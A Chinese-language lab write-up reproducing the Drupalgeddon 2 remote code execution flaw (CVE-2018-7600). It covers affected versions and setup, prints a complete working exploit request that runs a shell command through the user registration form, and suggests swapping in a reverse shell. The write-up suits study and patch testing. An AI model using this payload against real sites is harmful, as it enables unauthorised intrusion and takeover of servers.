Drupal Drupalgeddon 2 未授权远程代码执行漏洞(CVE-2018-7600)
概述
Drupal 是一个用 PHP 语言编写的开源内容管理框架(CMF),它既可以看作是一个内容管理系统(CMS),又可以看作是一个开发框架,并在 GNU 通用公共许可证下分发。Drupal 具有高度的灵活性和可扩展性,能够满足从简单博客到复杂企业网站等各种需求。
7.58 之前的 Drupal、8.3.9 之前的 8.x、8.4.6 之前的 8.4.x 和 8.5.1 之前的 8.5.x 允许远程攻击者执行任意代码,该漏洞会影响具有默认或通用模块配置的多个子系统,包括表单 API。
漏洞复现
启动靶场以后,访问 http://192.168.2.243:8080/会跳转到 Drupal 的安装向导,该靶场没有数据库,数据库选择 SQLite,其余均默认随意安装即可。
安装完成以后,会自动登录至创建的管理员用户。
发送如下请求,即可执行命令:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 192.168.2.243:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
尝试反弹 Shell。
将上述中的 id
修改为执行反弹 Shell 的命令即可。